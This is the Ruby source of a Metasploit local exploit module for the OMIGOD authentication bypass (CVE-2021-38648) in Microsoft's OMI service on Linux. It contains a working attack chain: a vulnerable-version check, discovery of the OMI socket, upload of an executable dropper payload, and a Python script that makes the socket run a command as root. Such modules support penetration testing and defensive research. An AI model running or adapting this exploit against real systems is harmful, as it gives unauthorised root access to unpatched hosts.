## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Post::Process include Msf::Exploit::EXE include Msf::Exploit::FileDropper DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft OMI Management Interface Authentication Bypass', 'Description' => %q{ By removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021). }, 'References' => [ ['CVE', '2021-38648'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'], ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'], ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647'] ], 'Author' => [ 'Nir Ohfeld', # vulnerability discovery & research 'Shir Tamari', # vulnerability discovery & research 'Spencer McIntyre' # metasploit module ], 'DisclosureDate' => '2021-09-14', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'DisableNops' => true, 'Space' => 256 } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'MeterpreterTryToFork' => true }, 'Notes' => { 'AKA' => ['OMIGOD'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_advanced_options([ OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]), OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ]) ]) end def check pid = pidof('omiserver').first return CheckCode::Safe('The omiserver process was not found.') if pid.nil? omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH) return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank? vprint_status("Found #{omiserver_bin} running in PID: #{pid}") if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/ version = Regexp.last_match(1) else return CheckCode::Unknown('Failed to identify the version of the omiserver binary.') end return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0') CheckCode::Appears("Version #{version} is affected.") end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data ensure register_file_for_cleanup(path) end def find_exec_program %w[python python3 python2].select(&method(:command_exists?)).first end def get_socket_path socket_path = datastore['SocketPath'] return socket_path unless socket_path.blank? pid = pidof('omiserver').first fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil? if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$} socket_path = Regexp.last_match(1) else begin socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket? rescue StandardError # rubocop:disable Lint/SuppressedException end end fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank? vprint_status("Socket path: #{socket_path}") socket_path end def exploit python_binary = find_exec_program fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary vprint_status("Using '#{python_binary}' to run the exploit") socket_path = get_socket_path path = datastore['WritableDir'] python_script = rand_text_alphanumeric(5..10) + '.py' case target['Type'] when :unix_cmd root_cmd = payload.encoded when :linux_dropper unless path.start_with?('/') # the command will be executed from a different working directory so use an absolute path fail_with(Failure::BadConfig, 'The payload path must be an absolute path.') end payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}" if payload_path.length > 256 # the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the # command that is executed fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).') end upload(payload_path, generate_payload_exe) cmd_exec("chmod +x '#{payload_path}'") root_cmd = payload_path end upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py')) cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'" vprint_status("Running #{cmd}") output = cmd_exec(cmd) vprint_line(output) unless output.blank? end end